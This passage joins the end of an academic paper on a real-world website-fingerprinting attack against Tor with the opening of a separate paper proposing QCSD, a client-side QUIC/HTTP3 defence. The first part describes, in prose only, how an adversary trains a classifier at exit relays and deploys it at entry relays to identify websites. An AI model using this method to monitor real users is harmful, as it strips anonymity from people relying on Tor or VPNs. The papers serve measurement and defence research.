differ substantially from the same load observed at the exit.

To capture this distortion, we measure the distance between
traces collected at the entry and at the exit relay. We expect
that most of the distortion will be the result of queuing at
different Tor relays that would cause a relative reordering
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Figure 11: Performance comparison of the attack trained at exit and
deployed at exit (Exit-Exit), trained at exit and deployed at entry
(Exit-Entry), trained and deployed at entry (Entry-Entry), and trained
at entry and deployed at exit (Entry-Exit).

of the traffic sequences observed by the relays. Thus, we
choose the Levenshtein distance to measure the distortion
between traces after truncating them to have the same length.
This distance metric measures the minimum number of edits
required to change one trace into the other, and thus can
capture cell re-ordering. For each website, we measure: (i) the
distance between a trace seen at the entry and the one seen at
the exit relay, and (ii) the distance between traces belonging
to the same website as seen at the exit relay. Ideally, we would
like the former distance to be smaller than the latter; that is,
we want that traveling through the network changes traces
less than their natural variability across multiple downloads
of the same website. The results in Figure 10 show that the
trace distortion between entry and exit is small.
Attack Deployment: While distortion is small, it may be that
the distance is enough to reduce the accuracy of the attack
from the Exit-Exit attacker that we evaluate in § 6.3 to the
Exit-Entry attacker that would operate in the real world. As we
are only interested in the difference in accuracy, we consider
the simple case: a closed world batch classification setting in
which the model is trained on 50% of the traces we collected,
and is evaluated on the remaining 50%.

Figure 11 shows the accuracy achieved by the Exit-Exit and
Exit-Entry attackers, measured for a varying number of mon-
itored websites. For a small monitored set, the performance
of the attacks is relatively similar; e.g., with 50 monitored
websites the performance degrades from 76.2% (Exit-Exit)
to 65.1% (Exit-Entry), and with 5 websites it decreases from
91.2% to 86.4%. As the monitored set size increases, the dis-
crepancy becomes larger but the difference seems to stabilize
after the monitored set size reaches 600. With 750 monitored
sites the accuracy decreases from 52.2% to 34.1%, providing
further evidence that real-world attackers are limited in the
number of websites they can monitor effectively.

We also show in Figure 11 the effectiveness of a hypotheti-
cal attacker who trains and deploys at an entry relay (Entry-
Entry) using synthetic traffic traces. While the Exit-Exit at-
tacker is strictly better than Entry-Entry attacker, the latter
has better performance than an adversary who trains at an exit
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and deploys at an entry (as in our adversary model). This ex-
periment, however, offers ideal conditions for the Entry-Entry
adversary, as the synthetic traffic is not as heterogenous as
genuine traffic would be. In § 6.2 we conduct an experiment
on real traffic whose results indicate that training at an entry
relay using synthetic traffic is not advantageous since it does
not capture the heterogeneity of genuine traffic.
Takeaways: Our analysis shows that network effects may
distort traces from the exit to the entry. Thus, there can be a
loss in accuracy when deploying on the entry a model that was
trained using traffic collected at an exit. These results indicate
that training at an exit and deploying at an entry is a good
adversarial strategy, especially given the advantages it brings:
accounting for diversity and concept drift. We also note that
we did not tune our attack to reduce distortion. Future work
may be able to reduce or eliminate the effects of distortion on
WF attacks by incorporating information about the differences
between entries and exits.

Overall, our experiments throughout § 6 confirm that the
practicality of WF attacks depends on the choice and number
of monitored sites. A primary conclusion is that an attacker
wishing to monitor more than a few websites (5 to 25, accord-
ing to our results) is unlikely to succeed.

7 Related Work

Related Attacks: Following the critiques of the unrealistic
methodologies used in early WF work [19, 35], WF attack
papers have attempted to improve evaluation methods: over-
coming data staleness [53], using large-scale datasets with
varied URLs [34], or increasing the monitored set size [37].

Previous work applied deep learning to WF to increase the
accuracy [1, 2, 32, 37, 39]. The practicality of these methods
in an online environment is unclear, as they require a lot of
training data that must be updated regularly [39]. Triplet Fin-
gerprinting reduced the data needed for training [40], which
is why we used it as the basis for our online attack.

Our online attack using real data operates under a new
adversary model. All previous WF attacks were evaluated
under the traditional WF adversary model that we describe in
§ 2.1 and are evaluated using synthetic datasets. Therefore, a
direct comparison between our results and the results from
previous work would not be meaningful.

Recent work brings new insights on the applicability of
WF in the real world. Wang argued that WF attacks should be
optimized for precision and should incorporate the base rate
into the precision metric to avoid success overestimation [51].
Pulls and Dahlberg explored the concept of a website oracle
that could inform the adversary whether or not a website was
visited at a specific time [36]. They found this is possible to
achieve in Tor due to the DNS lookups that are performed by
exit relays, which we also take advantage of in our work. Our
work is the first to apply WF to regular sites in a true open
world and the first to use genuine Tor traffic as ground truth.

Countermeasures: There exist numerous defenses against
WF in the literature [5, 6, 12, 20, 26, 54]. However, given
our adversary model and evaluation using real Tor traffic and
online learning, it is infeasible for us to test those defenses.
Defenses should already be deployed in Tor for us to be able
to collect the data. Any attempt at deploying the defenses on
our own clients would be subject to the same synthetic traffic
limitations described in § 2.2.

Another challenge in realistically evaluating WF defenses
is that, in the traditional adversary model, researchers do not
have access to ground truth unless they produce the traces
themselves. In our work, we considered an alternative to the
traditional adversary model that provides us with ground truth
in a true open world data source; this could be further used as
a building block for evaluating WF defenses in the future.

Although it is currently infeasible for us to evaluate de-
fenses in the real world, some form of padding between the
client and middle relay [20] could be an effective defense
strategy against the adversary model we present in § 3.1. In
particular, incorporating padding between a client and middle
relay would cause confusion in models that are trained on one
side of a circuit (exit) and deployed on the other (entry). How-
ever, such defenses come with increased bandwidth cost [5, 6]
and possibly degraded network performance for Tor users, so
they will have to be considered carefully [7, 8, 12, 26].

8 Conclusion

An open question in the WF literature is whether WF results
evaluated in a lab setting are realistic. We argue that this ques-
tion need not be answered by demonstrating the effectiveness
of realistic WF attacks in the real world. We present a new WF
adversary model and online attack that enables us to directly
study adversarial conditions in the wild by using genuine traf-
fic from Tor relays, and hence capturing real traffic variability
across webpages, users, and over time.

We introduced a novel measurement and evaluation
methodology that enabled us to safely use Tor traffic in the
first real-world WF evaluation in the open world. Our compar-
ison between static and online models show that there is an
advantage in training on heterogenous, dynamic traffic when
the goal is to fingerprint websites in the wild.

The results of our real-world evaluation demonstrate that
WF attacks can only be successful in the wild if the adversary
aims to identify websites within a small set. In other words,
untargetted adversaries that aim to generally monitor users’
website visits will fail, but focused adversaries that target one
particular client configuration and website may succeed.

We find that the website classifier that we trained online
yields stable classification performance across a 1 week eval-
uation period, indicating that the classifier models are able
to dynamically adapt to the changes in website traffic distri-
butions over time. While we did not evaluate periods longer
than 1 week, we remark that it is feasible for an adversary
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to retrain both the feature extractor and the website classi-
fier on a weekly basis. Therefore, we conclude that online
learning on genuine traffic mitigates the negative impacts on
classification performance due to concept drift.
Limitations and Future Work: In our work we focused
on Tor exit traffic. This brings two implications. First, our
study does not cover .onion sites, but our conclusions are
aligned with existing studies on the fingerprintability of onion
sites [33]. Second, we can only use domains as labels (as sub-
page paths are usually encrypted under TLS). Thus, we cannot
target individual webpages as previous work does. Our results,
however, are aligned with webpage-focused works [34] and
confirm that WF in the true open world is very challenging.

Our attack works on the circuit level; if several domains are
visited over the same circuit, we would only make a prediction
for the first one (§ 3.1). Tor Browser already separates visits
to unique top-level domains displayed in the browser URL
bar onto different circuits, and we do not solve the problem
of further splitting traffic by stream. However, the splitting
problem should be considered (i) if distinguishing between
multiple streams on the same circuit is desirable, and (ii) by a
network-level adversary without access to the entry relay used
by their victim (meaning all Tor traffic must be split into sepa-
rate visits). Although our work could be extended to consider
this network traffic splitting problem [9, 53], we believe that
splitting will reduce performance (due to inaccurate splits)
and thus it should not affect our general conclusions about
the infeasibility of WF in the real world.

Our research was restricted by our commitment to keep
users safe during our experiments. In practice, an adversary
would not have the same limitations and therefore could do
more to optimize the accuracy of their online attack. For
example, the adversary may store the complete traffic traces
for a longer period of time. Access to such an archive would
enable the use of additional machine learning approaches that
were not possible in our study. The development of privacy-
preserving real world WF analysis systems could be helpful
to tackle this problem without endangering users.

Future work should also consider methods that reduce the
loss in accuracy that results from training a classification
model on an exit relay and deploying on the entry-side. Train-
ing classifiers using data from geographically diverse exit
relays could help to build more robust models. Emerging tech-
niques such as conformal prediction [50] could also help to
produce more informative models that further increase WF
accuracy in an online setting.
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A Triplet Fingerprinting Background

We build our evaluation upon the foundations set out in pre-
vious work on Triplet Fingerprinting [40], which describes a
WF attack based on N-shot learning [24, 49]. Previous work
has shown that such models trained and tested with data col-
lected multiple years apart and on different networks still
yield an attack accuracy of 85% [40], which make N-shot
learning-based models good candidates for inclusion in an
online attack.
Feature Extractor: When trained for WF, a triplet finger-
printing [40] model will learn how to distinguish different
websites from one another (i.e., it will learn the features that
are the easiest to distinguish) independent of the particular
websites used to train it. Therefore, the model is called a fea-
ture extractor, and it is used to generate a feature vector from
a given packet sequence.

The feature extractor is trained with a triplet of deep em-
bedded convolutional neural networks [38]: the anchor, the
positive, and the negative network (Figure 12a). Using an
anchor network, the training process seeks to minimize the
distance between positive examples of the same website, and
maximize the distance between positive examples of a web-
site and negative examples of other websites. The output of
the training process is a neural network that can produce dis-
tinguishable feature vectors from traffic traces and which will
be used in subsequent online training and classification tasks.
This feature extractor need not be continuously retrained as it
will remain effective for long periods of time (e.g., years) [40].
Online Training: A trained feature extractor will produce
feature vectors from traffic traces, but will not predict website
labels. In order to be able to conduct website classification,
we train an online attack model as shown in Figure 12b. In

(a) We train a feature extractor model using triplet networks to recognize
the features that are best able to distinguish traffic patterns from different
websites, following an approach from previous work [40].

(b) We use the trained feature extractor to produce a feature vector from
an observed traffic sequence, and use the observed website label to train
an online attack model that keeps as embedded vectors the mean feature
vector over the vectors of each website.

(c) In an entry relay deployment, we extract a feature vector from an
unlabeled packet sequence, and use a nearest neighbor procedure to
predict the domain label with the closest associated embedded vector to
the unlabeled feature vector.

Figure 12: Our online WF attack involves: (a) online training of
a feature extractor model; (b) online training of a classification
model to learn a website label from traffic features; and (c) online
deployment of the trained classification model to predict websites.

our online model, each monitored website is represented by
the average of the feature vectors extracted by the feature
extractor over all traffic traces previously observed for the
website; we refer to this average vector as the embedded
vector. As we observe additional labeled traffic traces for
monitored websites, we used the trained feature extractor to
extract a new feature vector and then update the embedded
vector associated with the website label by recomputing the
mean. (Note that recomputing the mean requires only the
previous mean and the count of traces observed so far.)

Online Classification: Deployment on an entry relay is
shown in Figure 12c. Under deployment, the adversary will
not have access to the website label and will query the trained
attack model to predict it. When a new unlabeled packet
sequence is observed, the feature extractor is first used to ex-
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tract a feature vector. Then, a website label is predicted via a
nearest neighbor procedure by choosing the website whose
embedded vector is the closest to the unlabeled feature vector.
If the distance to the closest vector is larger than a certain
threshold, the model classifies the website as “unmonitored”.

To make best use of the available data, the adversary contin-
uously runs some number of exit relays that feed observations
into the online training process (i.e., Figure 12b). Addition-
ally, the entry-side observation point that is deploying the
classifier (i.e., Figure 12c) is given direct access to the model
being trained by the exit observations so that every prediction
that is made uses the most recent model available.
Tuning: Our experiments utilize the Triplet Fingerprinting
code, which is implemented using Keras as the front-end
and Tensorflow as the back-end and released on GitHub by
the Triplet Fingerprinting authors.1 The hyperparameters for
the triplet networks (feature extractors) that we use in our
evaluation are tuned according to experiments conducted in
previous work [40, Table 3 and Appendix D]. In particular, a
convolutional neural network (CNN) based on the deep finger-
printing model [39] is used as the triplet sub-network. Cosine
distance is used as a similarity metric to determine the dis-
tance between website examples in the positive, negative, and
anchor networks, since it has meaningful semantics that relate
to finding bursts of traffic. The Semi-Hard-Negative mining
strategy is used as the best strategy to identify triplets to use
to train the feature extractor, consistent with prior work [38].
The margin used for the learning process (the radius around
the embedded vector) is set to 0.1, while SGD is the chosen
optimizer used to measure and update the weights w.r.t. the
loss model. Finally, the embedded vector size in the last dense
layer in each sub-network of the triplet networks is set to 64
to limit the training time without losing model accuracy.

B Measurement Details

Measurement Infrastructure: We run relays in the real Tor
network in order to facilitate our WF evaluation. Because we
run our evaluation during two distinct periods, we set up two
separate pairs of Tor relays.

We start the first entry2 and exit3 relays on 2020-06-26 and
run them for two months. These relays run on a dedicated
server rented from Hetzner, an internet hosting company and
data center operator located in Germany. Hetzner advertised
our dedicated server as offering 1 Gbit/s of bandwidth; the
server also had 64 GiB of RAM, a 4-core Intel Core i7-7700
CPU (8 hyper-threads) running at 3.60 GHz, and an nVidia
GeForce GTX 1080 graphics card with 8 GiB of memory and
2,560 CUDA cores. These relays were used for the top-100
and sampled-1000 measurements in § 5.1, and for the evalu-
ation conducted in § 6.1, § 6.3, and § 6.4.

1https://github.com/triplet-fingerprinting/tf
2Entry1 fingerprint: 84A1941BD03ADD7BFD6F8E6CA5B5AD4FF00E83C9.
3Exit1 fingerprint: 015B7DCBD1F7F84342F5E9E6EB3CA8FBEFCB440E.

We start the second entry4 and exit5 relays on 2021-04-08
and run them for two months. These relays run on a dedicated
server from The Calyx Institute, a research organization lo-
cated in the United States. Calyx advertised our dedicated
server as offering 1 Gbit/s of bandwidth; the server also had
128 GiB of RAM, 2×12-core Intel Xeon e5-2695 CPUs (48
hyper-threads) running at 2.40 GHz, and an nVidia Tesla K80
graphics card with 24 GiB of memory and 4,992 CUDA cores.
These relays were used for the synthetic measurements in
§ 5.1, for the evaluation conducted in § 6.2.

All synthetic webpage crawling using Tor Browser Sele-
nium [47] was conducted from a machine hosted in the US
with 32 GiB of RAM and a 6-core (12 hyper-thread) Intel Core
i7-5820K CPU (3.30GHz). This machine was used for crawl-
ing webpage lists as described in § 5.1 (for the synthetic
measurements), § 6.2, and § 6.4.
Safety Precautions: § 4 describes how we safely imple-
mented our data processing framework. Here we summarize
the safety precautions that we implemented to minimize data
collection and retention:
– We never store website labels. Instead, we use non-

reversible pseudonyms when labeling our ground truth (see
§ 4). We destroy the key used to create the pseudonyms
as soon as we completed our measurements (so that the
pseudonyms can no longer be linked to real websites).

– We use an online learning classifier, which can be updated
on new traces without having to store the old ones. Hence,
we do not store circuit information longer than an exit relay
normally would (circuits last for 10 minutes by default).

– We use triplet fingerprinting [40] as basis for our classifier.
As this classifier uses statistics about the traces as features,
we do not store the traces for training.

– We run our entry and exit relays on the same machine to
never transfer attack models over the network.

– Whenever we are in a position to observe the user (i.e.,
when we observe circuits in the entry position) we never
perform website predictions on real users’ traffic. From the
entry position, we only predict the website label on circuits
that we created with clients that we control.

– We only store aggregated evaluation results and nothing
about individual circuits. We destroy all classification mod-
els once we have completed our evaluation.

– We use simulation [17] during the development and test-
ing of the modifications we made to Tor to support our
measurement (which is described in § 4).

C Generalized Precision and Recall

In our evaluation (§ 6) we considered two scenarios: (i) a
monitored vs unmonitored (MvU) scenario, where the attacker

4Entry2 fingerprint: 5DD563CF69A9EF1DBC8345F125331660FA49F626.
5Exit2 fingerprint: 8DC0DA5D0023B913A5A77EF91F0993AF229D45A4.
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Figure 13: Generalized precision and recall for the setting consid-
ered in subsection 6.3. Compare with Figure 5.

answers the binary question “was this trace generated by a
monitored website?”; and (ii) a multiclass (MC) scenario,
where the attacker tries to guess which monitored page the
user is visiting or guesses unmonitored.

The well-established metrics for evaluating an MvU attack
are precision and recall. For an MC attack, however, the stan-
dard metric is the attack’s average accuracy. However, it is
well known that this metric can overestimate performance in
unbalanced scenarios where the negative samples are domi-
nant (see § 6).

We propose two alternative metrics to measure the success
of an MC attacker: generalized precision and recall. Consider
a set of network traces ti associated with their respective web-
site label, T = {(ti,wi)}n

i=1; we use wi = ⊥ to indicate an
unmonitored page. We denote as A(t) the attacker’s predic-
tion upon observing trace t.
Generalized Precision (GP): measures the accuracy of the
attacker on the traces that the attack classifies as monitored:

|{A(t) = w | (t,w) ∈ T ,A(t) 6=⊥}|
|{(t,w) ∈ T ,A(t) 6=⊥}| .

GP captures how reliable the adversary’s prediction is when
it identifies a page as monitored.
Generalized Recall (GR): measures the accuracy of the at-
tacker on the monitored traces:

|{A(t) = w | (t,w) ∈ T ,w 6=⊥}|
|{(t,w) ∈ T ,w 6=⊥}| .

GR captures the coverage of the adversary’s correct predic-
tions with respect to monitored pages.
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Figure 14: Precision-recall curves for the models deployed in the
open world.

These metrics enable us to measure the attack success
without the bias associated with having a large majority of un-
monitored traces in the dataset. They can be seen as instances
of precision and recall for a subclass in a hierarchical classi-
fication problem, as discussed by Sokolova et al. [41, Table
5]. GP and GR are designed for settings where the monitored
set contains more than one page; if the monitored set only
contains one page, they correspond to precision and recall.
Evaluation: Figure 13 reports GP and GR for the evalua-
tion conducted in § 6.3 (Figure 5). As discussed throughout
our analysis, we observe relatively good performance for the
top-100 monitored set; in particular, the attack is quite accu-
rate when classifying monitored traces (> 70% GR) and it has
50% GP. However, for sampled-1000, we observe very poor
GP; this indicates that the attack is not reliable when it outputs
a label belonging to the monitored set. The accuracy measure-
ments (Figure 5) did not provide the same insights; indeed,
according to accuracy the attack success was comparable to
that obtained on the monitored set.

D Is the feature model important in TFP?

Sirinam et al. [40] argue that the feature model should be
independent of the monitored set: if the feature model is
trained on a different set of labels than the ones an attacker
targets, they should only pay a small performance price.

In parallel to our experiments in subsection 6.2, we eval-
uated the same models by using the feature set based on the
top-100 list. Figure 14 compares the performance of the
attack trained only on real data, (a) top-100-based features.
(b) synthetic-based features. (The former is identical to
Figure 4, brought here to facilitate comparison.) Note that
the two are compared on the same monitored sets and on the
same observed traces.

We observe that the feature model does affect the model’s
performance: in general, it is always better to train the feature
model on the monitored websites. However, as observed by
Sirinam et al. [40], this discrepancy is not substantial.
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Abstract
Website fingerprinting attacks, which analyse the metadata
of encrypted network communication to identify visited web-
sites, have been shown to be effective on privacy-enhancing
technologies including virtual private networks (VPNs) and
encrypted proxies. Despite this, VPNs are still undefended
against these attacks, leaving millions of users vulnerable.
Proposed defences against website fingerprinting require co-
operation between the client and a remote endpoint to reshape
the network traffic, thereby hindering deployment.

We observe that the rapid and wide-spread deployment of
QUIC and HTTP/3 creates an exciting opportunity to build
website-fingerprinting defences directly into client applica-
tions, such as browsers, without requiring any changes to
web servers, VPNs, or the deployment of new network ser-
vices. We therefore design and implement the QCSD frame-
work, which leverages QUIC and HTTP/3 to emulate exist-
ing website-fingerprinting defences by bidirectionally adding
cover traffic and reshaping connections solely from the client.
As case studies, we emulate both the FRONT and Tama-
raw defences solely from the client and collected several
datasets of live-defended traffic on which we evaluated mod-
ern machine-learning based attacks. Our results demonstrate
the promise of this approach in shaping connections towards
client-orchestrated defences, thereby removing a primary bar-
rier to the deployment of website-fingerprinting defences.

1 Introduction

Despite its appearance in 1948 in the Universal Declaration
of Human Rights, “No one shall be subjected to arbitrary in-
terference with his privacy, family, home or correspondence”,
privacy is difficult to achieve on today’s Internet. Instead,
government and private surveillance can determine Internet
users’ web-browsing activities by observing their unencrypted
traffic and the metadata leaked by standard encrypted com-
munication. The increasing popularity of privacy-enhancing
services, such as virtual private network (VPN) connections

and anonymity networks like Tor [1], as well as of privacy-
focused browsers, such as Brave and Firefox, indicates the
importance of privacy to web users. Indeed, according to the
GlobalWebIndex, an estimated 25% of the world’s Internet
users utilise VPNs at least once a month [2], with 34% of
those utilising it for privacy reasons [3].

Nonetheless, researchers have shown that despite the en-
cryption and proxying performed by these privacy-enhancing
technologies, it is still possible to identify the visited web-
site [4]–[17]. In website fingerprinting, a passive observer
identifies the website by statistically analysing observed
packet sizes and timings, undeterred by encryption. This class
of attacks has been shown to successfully identify encrypted
websites while being undetectable by the web user [12]–[15].

Numerous defences against website fingerprinting have
been proposed, which reshape the communication between
the endpoints to obscure traffic features to and from the
client [8], [18]–[27]. However, these defences require changes
to both local endpoints, such as web clients, and remote end-
points, such as web servers or proxy gateways. This require-
ment to deploy or change endpoints outside of a client’s con-
trol has hindered the deployment of website-fingerprinting
defences. With the growing demand for VPNs provided as
browser extensions, and with browser vendors targeting the
VPN market with customised solutions, such as Mozilla VPN
or Brave Firewall + VPN, protection for VPN users against
website-fingerprinting attacks has become more relevant. We
therefore investigate whether we can instead place the de-
ployment and evolution of website-fingerprinting defences
within the purview of the client, that is, without the explicit
cooperation of servers or proxies.

Contributions We observe that since enacting a website-
fingerprinting defence involves reshaping the communication
both from and to the client, then doing so without modifying
remote endpoints must be done through manipulation of the
network protocols already being used to communicate. In this
regard, we explore the recent development, and already broad
deployment, of the QUIC transport protocol as an exciting
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opportunity to enhance user privacy. QUIC’s independent,
multiplexed byte-streams and control-message variety pro-
vide rich features on which to base our framework, and its
location in user space allows defences based upon it to be inde-
pendently deployed for individual applications. Furthermore,
QUIC is being widely adopted, as HTTP/3 – the upcoming
HTTP standard – will only be implemented atop the QUIC
protocol and notably does not use TCP.

In this work, we design and evaluate a client-side frame-
work for implementing various website-fingerprinting de-
fences without requiring any changes to the remote server or
additional network services. Our QUIC client-side defence
framework (QCSD) is built upon QUIC and HTTP/3 and
uses these protocols to induce the server into cooperating
with a client-orchestrated defence, specified as either a packet
schedule or state machine. QCSD achieves this cooperation
using two observations. First, HTTP requests are idempotent
and web servers often host resources beyond those needed by
any single web page. These resources can thus be repeatedly
requested to provide a constant supply of chaff traffic from
the server to the client. Second, QUIC connections multiplex
individual byte streams, each of which may be independently
flow-controlled. This flow control allows an endpoint to indi-
cate to its peer when it is ready to receive data. We leverage
this flow control to communicate to the server when to send
bursts of application data, chaff data, or both. Through careful
management of these chaff resources and individual streams,
we create a framework that can orchestrate many website-
fingerprinting defences in the literature from the client.

As case studies, we enacted both the FRONT [18] and
Tamaraw [22] defences in QCSD, collected live-defended
datasets totalling over 100,000 web-page loads, and evaluated
the efficacy of our QCSD-enacted defences against the Deep
Fingerprinting [12], Var-CNN [15], and k-fingerprinting [9]
website-fingerprinting attacks. Our comparisons between the
simulated defences and those crafted by QCSD show that our
framework is able to emulate defences solely from the client,
with privacy benefits akin to their conceptualised forms, and
offers further examples of the differences that arise between
live-defended and simulated website-fingerprinting defences,
highlighting a need for more accurate simulations.

2 Background and Related Work

In this section, we introduce website fingerprinting, existing
attacks and defences, our threat model, the QUIC and HTTP/3
protocols, and the requirements for enacting a defence.

2.1 Website Fingerprinting
In website fingerprinting, the goal of an observer is to identify
the website fetched over an encrypted channel based solely on
side-channel information, such as those derived from packet
sizes and timestamps [4]–[17], [28]. Website fingerprinting

has been investigated both in the setting of anonymity net-
works, such as Tor [1], as well as in the setting of encrypted
proxies and VPNs, our focus in this work. To identify the
website, the observer classifies a feature vector that is derived
from the trace of loading a web page of the website. This
classification is based on finding similarities between this fea-
ture vector and features of previously observed and labelled
traces in the attacker’s training set. In this process, a label
corresponding to the most likely website is assigned, or no
label if previously seen traces are too dissimilar.

Closed and open worlds The efficacy of website finger-
printing is evaluated in either the closed- or open-world set-
tings [4], [8]–[17]. In the closed-world setting, the trace is
known to be from one of n monitored websites, whereas in the
open-world setting, it belongs to either one of the n monitored
websites or to some unmonitored website. In this latter set-
ting, used in our evaluations, the task to identify the monitored
website (or if it is an unmonitored website) better emulates the
real world where a trace may be from an unknown website.

Attacks Early website-fingerprinting attacks utilised statis-
tical analyses [5], [6], and analyses using only the inferred
sizes of HTML pages and resources [7]. Subsequent attacks
evolved to leverage machine learning classifiers. These in-
clude a k-nearest neighbour (k-NN) based-classifier [8], the
k-fingerprinting (k-FP) classifier based on k-NN and random
forests [9], hidden Markov models [10], and stream-matching
algorithms [13], [17]. These attacks are further enhanced
through features extracted from the traces using detailed fea-
ture analyses [9], [29]–[31]. The most recent attacks [11],
[12], [14]–[16] utilise neural networks and have achieved
accuracy rates above 94% in closed-world settings of 900
websites with encrypted, padded network traffic [11]. Our
prior work has also confirmed the efficacy of these attacks in
the QUIC-over-VPN setting [32].

To evaluate our framework, we employ the k-FP [9], Deep
Fingerprinting [12], and Var-CNN [15] classifiers as examples
of traditional and deep learning attacks, since they have been
shown to be among the most effective attacks [14], [18], [32].

Defences Numerous website-fingerprinting defences have
been proposed, particularly for the Tor anonymity network,
which differ in their means of defending the communica-
tion, their overhead, and their requirements for infrastructure
or pre-existing knowledge. Table 1 provides an overview of
these defences. The first category, chaff-only defences, defend
by solely adding padding and chaff traffic to the communi-
cation and thus do not delay the loading of the web page.
For example, the WTF-PAD defence uses chaff traffic to ob-
scure long breaks between bursts of incoming or outgoing
packet [21], whereas the FRONT defence adds a random
amount of chaff packets in each direction, with an emphasis
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Table 1: Website-fingerprinting defences categorised by
whether their mechanism operates on a static predetermined
schedule, a static schedule with a transmission-dependent stop
point, or a dynamic schedule. Also indicated is whether the
defence would be emulatable within our framework. GLUE
is not emulatable as it operates between connections.

Defence Schedule Emulatable

Chaff-only
Traffic Morphing [27] dynamic 3
WTF-PAD [21] dynamic 3
Cui 2018 [19] static 3
FRONT [18] static 3
GLUE [18] dynamic no*

Chaff and delay
Glove [33] static 3
Supersequence [8] static, dyn. end 3
Walkie Talkie [20] static 3
CS-BuFLO [23] dynamic 3
BuFLO [24] static, dyn. end 3
Tamaraw [22] static, dyn. end 3
HTTPOS [25] – no

Other
Decoy [26] – no
TrafficSliver [34] – no
Henri 2020 [35] – no

on obscuring the feature-rich head of the communication [18].
As a promising step forward, Tor has since implemented a
derivative of WTF-PAD [21], [36] along with a framework
for experimenting with other padding approaches [37]. Unfor-
tunately, WTF-PAD has already been shown to be vulnerable
to website-fingerprinting attacks [12], [15].

The second category, chaff-and-delay defences, shape the
communication towards a target pattern by adding padding,
chaff traffic, splitting, and delaying the packets sent to and
from the client. Among these defences, BuFLO [24], CS-
BuFLO [23], and Tamaraw [22] offer high levels of privacy
at the cost of high bandwidth and delay overhead. Tamaraw,
for example, transmits fixed-size packets at a constant rates
from the client and from the server. Defences such as Super-
sequence [8] and Walkie Talkie [20] group web pages into
anonymity sets such that a common target pattern can be
found that reduces the shaping overhead.

All of the above defences rely on shaping the traffic both
to and from the client, and have thus been thought to be
reliant on client-side and server/proxy-side deployment. How-
ever, our framework, QCSD, enables the use of such defences
with only client-side deployment. We investigate QCSD’s
ability to emulate chaff-only and chaff-and-delay defences,
with the FRONT and Tamaraw defences respectively as ex-
emplars. FRONT is one of the few chaff-only defences still

effective against modern website-fingerprinting attacks [18];
whereas Tamaraw, a chaff-and-shape defence, offers similar
protection to transmitting at constant rate with lower overhead.
Appendix A describes these defences in more detail.

The HTTPOS [25] defence adds random chaff and delays
to the communication through TCP and HTTP manipulation.
Similarly to our work, it does so primarily from the client but
requires proxies and intermediaries to enable shaping TCP,
which is implemented in the kernel. Our work however, unlike
HTTPOS, does not create a specific defence strategy but rather
provides the tools with which website-fingerprinting defences
can be enacted from the client. Finally, Decoy by Panchenko
et al. [26] is unique in that it neither adds chaff nor delay but
instead loads another web page in the background as a decoy.

Other related work The TrafficSliver defence [34] and the
use of multihoming by Henri et al. [35] send traffic over differ-
ent network paths to limit the data observed by an adversary.
These approaches could be combined with QCSD, should
they be deployed in a manner supporting QUIC.

Other QUIC-based privacy efforts include the MASQUE
mechanisms [38], which allow multiple proxied stream- and
datagram-based flows inside QUIC-HTTPS connections. This
is similar to the HTTP CONNECT method that allows proxy-
ing via an HTTP server over TCP, and does not provide active
deterrence against website-fingerprinting attacks.

2.2 Threat Model

We consider an adversary who attempts to determine the web-
site associated with a traffic trace, through analysing only
packet sizes and timings. This setting occurs when the client
uses privacy-enhancing technologies, such as anonymity net-
works (e.g., Tor) or VPN tunnels (e.g., Wireguard, Open-
VPN, or IPSec), encrypted wireless communication (e.g.,
IEEE 802.11i WPA), or when the adversary wants to identify
a visit to a particular web page of interest on a website (e.g.,
the page related to a medical condition on a medical website).

Additionally, we inherit the simplifying assumptions used
throughout the attack literature [11], [14]–[16], [39] to re-
main consistent in our use of website-fingerprinting attacks in
the evaluation of our framework. That is, we conservatively
assume that (1) an observer can identify the start and end
of a web-page load, and can thus extract its trace from the
overall traffic; (2) web pages are loaded sequentially without
background noise such as media or file transfers; and (3) the
page of interest is the index page of the domain. Wang and
Goldberg [4] and Cui et al. [40] provide evaluations of these
assumptions; however, as we focus on defending against an
empowered adversary capable of realising these assumptions,
inheriting them allows us to both remain consistent with prior
works as well as to highlight any differences between concep-
tualised defences and their implementations in QCSD.
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2.3 QUIC and HTTP/3

QUIC is a new connection-oriented transport protocol layered
upon UDP. Originally designed by Google with the intent of
speeding up the Web [41], it was rapidly deployed by large
content providers such as Cloudflare [42], Akamai [43], and
Facebook [44] before being standardised by the Internet En-
gineering Task Force [45]. QUIC provides reliable, in-order
delivery of data similar to TCP, but differs in several ways:

Versioned, user space protocol The QUIC protocol is lay-
ered upon UDP and implemented in user space. This, along
with its use of versioning, version negotiation, and extensions
allows the protocol to evolve and avoid ossification.

Always encrypted QUIC packets are always encrypted.
This encryption encompasses both the payload and header
with the exclusion of the connection identifiers and flags nec-
essary for decoding and decrypting the packet.

Framed data and control Transmitted data and control
messages, such as acknowledgements and flow control, are en-
capsulated in frames which are bundled together and placed in
packets. QCSD utilises the QUIC padding frame (PADDING),
which is a repeatable, single-byte frame that is discarded upon
receipt, and the ping frame (PING), which forces the server to
acknowledge the packet containing it.

Multiplexed streams QUIC connections multiplex multi-
ple in-order byte streams over a single connection. The data
for each stream is first encapsulated with a STREAM frame
before being placed in a packet. A single packet can therefore
contain data corresponding to multiple streams. A STREAM
frame with the FIN bit set marks the end of the stream.

Independent flow control Each QUIC stream is indepen-
dently flow controlled. The maximum-stream-data value is
an offset from the start of the stream until which the remote
endpoint can send data. It can be increased by sending a
MAX_STREAM_DATA frame with a higher offset to the remote
endpoint. The amount of data that an endpoint is allowed to
send on the stream is called its flow-control credits.

The standardisation of QUIC brought with it the standard-
isation of the HTTP/3 protocol [46]. HTTP/3 is the next
generation of the Hypertext Transfer Protocol that underlies
the web and will be solely transported via QUIC. It defines
the semantics for using HTTP with QUIC, such as each QUIC
stream transporting a single HTTP request and response. Fur-
thermore, HTTP/3 demarcates HTTP headers and payloads
by encapsulating them in frames with prefixed lengths [46].

2.4 Defence Preliminaries
Designing a generalised framework for enacting the aforemen-
tioned defences requires a representation of network traffic
and understanding the building blocks of a defence. In re-
questing a web page, a browser contacts one or more web
servers to request and receive the HTML of the main page
as well as any web resources required to properly display the
web page. The resulting ordered sequence of packets seen on
the network, across an individual or multiple connections, is
called a trace.

Definition 2.1. A packet trace, or simply trace, P, of length n
can be uniquely described as a sequence of packet timestamps,
lengths, and directions:

P =
(
(t1, l1,d1), . . . ,(tn, ln,dn)

)
where ti ∈ R≥0 is the relative timestamp of the i-th packet,
with t1 = 0; li ∈Z≥ is a non-negative integer denoting the size
of the packet, and di ∈ {0,1} is the direction of the packet
(either from or to the client, i.e., outgoing or incoming).

Additionally, a trace may be represented as a pair of one-
dimensional aggregated time series, one for each direction,

